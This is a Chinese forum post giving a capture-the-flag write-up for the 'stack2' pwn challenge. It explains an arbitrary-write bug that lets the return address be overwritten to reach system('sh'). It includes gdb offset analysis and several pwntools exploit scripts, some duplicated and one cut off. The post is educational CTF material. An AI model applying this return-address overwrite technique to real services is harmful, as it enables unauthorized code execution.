首页
社区
课程
招聘
[原创][攻防世界]stack2
发表于: 2022-2-11 21:55 9147

[原创][攻防世界]stack2

2022-2-11 21:55
9147

在buuctf刷了两页的pwn,每次做堆利用,加载它配的libc库都失败,我怀疑那个库有问题。郁闷的我就从攻防世界的高手区开始刷了
这道题没什么难的知识点,但还是挺有意思的

程序是给一组数求平均,一开始要输入数字个数和一组数
图片描述
输入完可以执行5个功能
图片描述
日常检查
图片描述
拖到ida, 所有功能在主函数内实现
count有整数溢出漏洞,但后面又卡了99还是没用
图片描述
优先看可以写内存的功能,先是add number
计数变量j有限制,不能溢出
图片描述
再看change number,没有对改变数序号限制,可以任意写
图片描述
此外还有后门函数
图片描述

可以任意写与后门函数,大体思路就很简单了,直接改写返回地址为后门函数

本来我理所当然的以为offset就是ebp距离+4,但这题并没有这么简单
我们先找到return 0地址0x80488f2
图片描述
jump to address
最后return的esp,是ecx-4,而ecx是原栈空间[ebp-4]
esp为[ebp-4]-4
图片描述
接着就得gdb内搜集栈内具体信息,我们断点在进入循环的一步
图片描述
如图,红紫为[ebp-4], 黄为真正跳转的地址[ebp-4]-4,是__libc_start_main的,正确无误
图片描述
这句离ebp距离5*4,最终偏移为0x70+20

等等,这题这么容易?远程运行时,靶机表示它不认识/bin/bash!

后门函数看来不能直接用,好在system函数我们是直接有了
pwn最魅(恶)力(心)的地方就是断章取义,各种结尾是sh的串就被我们给断章取义了,这里就是/bin/bash
这里我们可以填返回地址system的plt,由于32位的调用方式,需要加上一个返回地址再加上sh地址
也可以填hackhere内call system地址,再跟上sh地址

图片描述
两种方式均写在我的payload中

from pwn import *
context.log_level = 'debug'
 
io = process('./stack2')
#io = remote('111.200.241.244',60945)
 
stack_offset = 0x70 + 20
 
def change(offset, num):
    io.sendlineafter('exit', '3')
    io.sendlineafter('change:', str(offset+stack_offset))
    io.sendlineafter('number:', str(num))
 
io.sendlineafter('have:', '0')
 
change(0, 0x8b)
change(1, 0x85)
change(2, 0x4)
change(3, 0x8)
 
#gdb.attach(io, 'b *0x80488f2')
#gdb.attach(io, 'b *0x8048702')
io.sendlineafter('exit', '5')
io.interactive()
from pwn import *
context.log_level = 'debug'
 
io = process('./stack2')
#io = remote('111.200.241.244',60945)
 
stack_offset = 0x70 + 20
 
def change(offset, num):
    io.sendlineafter('exit', '3')
    io.sendlineafter('change:', str(offset+stack_offset))
    io.sendlineafter('number:', str(num))
 
io.sendlineafter('have:', '0')
 
change(0, 0x8b)
change(1, 0x85)
change(2, 0x4)
change(3, 0x8)
 
#gdb.attach(io, 'b *0x80488f2')
#gdb.attach(io, 'b *0x8048702')
io.sendlineafter('exit', '5')
io.interactive()
 
from pwn import *
context.log_level = 'debug'
 
io = process('./stack2')
#io = remote('111.200.241.244',60945)
 
stack_offset = 0x70 + 20
 
def change(offset, num):
    io.sendlineafter('exit', '3')
    io.sendlineafter('change:', str(offset+stack_offset))
    io.sendlineafter('number:', str(num))
 
io.sendlineafter('have:', '0')
 
#return to call system
change(0, 0xb4)
change(1, 0x85)
change(2, 0x4)
change(3, 0x8)
#replace pushing the addr of 'sh'
change(4, 0x87)
change(5, 0x89)
change(6, 0x4)
change(7, 0x8)
 
'''
#return to system_plt
change(0, 0x50)
change(1, 0x84)
change(2, 0x4)
change(3, 0x8)
#因为任意写,返回地址不想写可以不写,空4个
change(8, 0x87)
change(9, 0x89)
change(10, 0x4)
change(11, 0x8)
'''
 
#gdb.attach(io, 'b *0x80488f2')
#gdb.attach(io, 'b *0x8048702')
io.sendlineafter('exit', '5')
io.interactive()
from pwn import *
context.log_level = 'debug'
 
io = process('./stack2')
#io = remote('111.200.241.244',60945)
 
stack_offset = 0x70 + 20
 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//